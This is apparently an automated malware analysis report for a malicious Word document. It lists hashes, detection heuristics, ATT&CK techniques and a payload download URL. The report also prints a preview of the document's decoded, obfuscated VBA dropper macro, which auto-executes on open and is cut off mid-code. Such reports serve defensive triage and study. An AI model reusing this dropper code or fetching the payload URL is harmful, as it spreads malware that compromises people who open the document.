Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9c70adbc731b1b2…

MALICIOUS

Office (OLE)

3.31 MB Created: 2018-07-10 09:56:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5a42a712e3b3cfa1db32d9e3d832f8f1 SHA-1: a6f51730ee561e3395220b2dd26b927d1de4680d SHA-256: b9c70adbc731b1b2779ab35bb0fab29ae703e2a4a7214c5e2749b02daf326a9b
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains a VBA macro that is automatically executed upon opening the document (Document_Open). This macro uses CreateObject and GetObject calls, indicative of malicious activity. The macro appears to download a payload from the URL http://heksenjachtinturkije.nl/wp-content/uploads/2018/02/mersinlghbr.png, which is also present in the document body as an INCLUDEPICTURE tag, likely serving as a lure. The ClamAV detection and the presence of a macro-enable lure further support its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://heksenjachtinturkije.nl/wp-content/uploads/2018/02/mersinlghbr.png In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44119 bytes
SHA-256: 8f222f0562d337a534e93005bcee10e08df0af1394f285e8e021245da54916e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 28 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit
Sub Document_Open()
    On Error Resume Next


    Dim wDoX, xQYw, AurW As String
    wDoX = qdEC(YuMs)
    xQYw = qdEC(mcfK)
    AurW = qdEC(RfCJ)


    Dim emTq As String
    emTq = mWaO(mfZm(105, 58))
    emTq = eUEd(emTq, mWaO(mfZm(19, 112)))
    emTq = eUEd(emTq, mWaO(mfZm(11, 121)))
    emTq = eUEd(emTq, mWaO(mfZm(215, 190)))
    emTq = eUEd(emTq, mWaO(mfZm(98, 18)))
    emTq = eUEd(emTq, mWaO(mfZm(209, 165)))
    emTq = eUEd(emTq, mWaO(mfZm(215, 190)))
    emTq = eUEd(emTq, mWaO(mfZm(190, 208)))
    emTq = eUEd(emTq, mWaO(mfZm(172, 203)))
    emTq = eUEd(emTq, mWaO(mfZm(31, 49)))
    emTq = eUEd(emTq, mWaO(mfZm(15, 73)))
    emTq = eUEd(emTq, mWaO(mfZm(215, 190)))
    emTq = eUEd(emTq, mWaO(mfZm(247, 155)))
    emTq = eUEd(emTq, mWaO(mfZm(251, 158)))
    emTq = eUEd(emTq, mWaO(mfZm(105, 58)))
    emTq = eUEd(emTq, mWaO(mfZm(116, 13)))
    emTq = eUEd(emTq, mWaO(mfZm(23, 100)))
    emTq = eUEd(emTq, mWaO(mfZm(209, 165)))
    emTq = eUEd(emTq, mWaO(mfZm(251, 158)))
    emTq = eUEd(emTq, mWaO(mfZm(51, 94)))
    emTq = eUEd(emTq, mWaO(mfZm(210, 157)))
    emTq = eUEd(emTq, mWaO(mfZm(242, 144)))
    emTq = eUEd(emTq, mWaO(mfZm(24, 114)))
    emTq = eUEd(emTq, mWaO(mfZm(251, 158)))
    emTq = eUEd(emTq, mWaO(mfZm(19, 112)))
    emTq = eUEd(emTq, mWaO(mfZm(209, 165)))

    Dim XcuI As String
    XcuI = wDoX
    Dim cMZs As String
    cMZs = ""
    cMZs = eUEd(cMZs, mWaO(mfZm(119, 52)))
cMZs = eUEd(cMZs, mWaO(mfZm(162, 152)))
cMZs = eUEd(cMZs, "\")
cMZs = eUEd(cMZs, mWaO(mfZm(14, 94)))
cMZs = eUEd(cMZs, mWaO(mfZm(11, 121)))
cMZs = eUEd(cMZs, mWaO(mfZm(232, 135)))
cMZs = eUEd(cMZs, mWaO(mfZm(172, 203)))
cMZs = eUEd(cMZs, mWaO(mfZm(11, 121)))
cMZs = eUEd(cMZs, mWaO(mfZm(4, 101)))
cMZs = eUEd(cMZs, mWaO(mfZm(51, 94)))
cMZs = eUEd(cMZs, mWaO(mfZm(27, 95)))
cMZs = eUEd(cMZs, mWaO(mfZm(4, 101)))
cMZs = eUEd(cMZs, mWaO(mfZm(209, 165)))
cMZs = eUEd(cMZs, mWaO(mfZm(4, 101)))
cMZs = eUEd(cMZs, "\")
cMZs = eUEd(cMZs, mWaO(mfZm(210, 157)))
cMZs = eUEd(cMZs, mWaO(mfZm(190, 208)))
cMZs = eUEd(cMZs, mWaO(mfZm(251, 158)))
cMZs = eUEd(cMZs, mWaO(mfZm(27, 95)))
cMZs = eUEd(cMZs, mWaO(mfZm(11, 121)))
cMZs = eUEd(cMZs, mWaO(mfZm(215, 190)))
cMZs = eUEd(cMZs, mWaO(mfZm(166, 208)))
cMZs = eUEd(cMZs, mWaO(mfZm(251, 158)))
cMZs = eUEd(cMZs, mWaO(mfZm(31, 49)))
cMZs = eUEd(cMZs, mWaO(mfZm(215, 190)))
cMZs = eUEd(cMZs, mWaO(mfZm(190, 208)))
cMZs = eUEd(cMZs, mWaO(mfZm(215, 190)))

    Module1.ifUl cMZs, XcuI, emTq

    Dim mQhT As String
    mQhT = ""
    mQhT = eUEd(mQhT, mWaO(mfZm(119, 52)))
mQhT = eUEd(mQhT, mWaO(mfZm(162, 152)))
mQhT = eUEd(mQhT, "\")
mQhT = eUEd(mQhT, mWaO(mfZm(14, 94)))
mQhT = eUEd(mQhT, mWaO(mfZm(11, 121)))
mQhT = eUEd(mQhT, mWaO(mfZm(232, 135)))
mQhT = eUEd(mQhT, mWaO(mfZm(172, 203)))
mQhT = eUEd(mQhT, mWaO(mfZm(11, 121)))
mQhT = eUEd(mQhT, mWaO(mfZm(4, 101)))
mQhT = eUEd(mQhT, mWaO(mfZm(51, 94)))
mQhT = eUEd(mQhT, mWaO(mfZm(27, 95)))
mQhT = eUEd(mQhT, mWaO(mfZm(4, 101)))
mQhT = eUEd(mQhT, mWaO(mfZm(209, 165)))
mQhT = eUEd(mQhT, mWaO(mfZm(4, 101)))
mQhT = eUEd(mQhT, "\")
mQhT = eUEd(mQhT, mWaO(mfZm(210, 157)))
mQhT = eUEd(mQhT, mWaO(mfZm(190, 208)))
mQhT = eUEd(mQhT, mWaO(mfZm(251, 158)))
mQhT = eUEd(mQhT, mWaO(mfZm(27, 95)))
mQhT = eUEd(mQhT, mWaO(mfZm(11, 121)))
mQhT = eUEd(mQhT, mWaO(mfZm(215, 190)))
mQhT = eUEd(mQhT, mWaO(mfZm(166, 208)))
mQhT = eUEd(mQhT, mWaO(mfZm(251, 158)))
mQhT = eUEd(mQhT, mWaO(mfZm(31, 49)))
mQhT = eUEd(mQhT, mWaO(mfZm(1, 101)))
mQhT = eUEd(mQhT, mWaO(mfZm(247, 155)))
mQhT = eUEd(mQhT, mWaO(mfZm(247, 155)))


    Dim kjTe As String
    kjTe = xQYw
    Module1.ifUl mQhT, kjTe, emTq

    Dim RmtN As String
    RmtN = ""
    RmtN = eUE
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.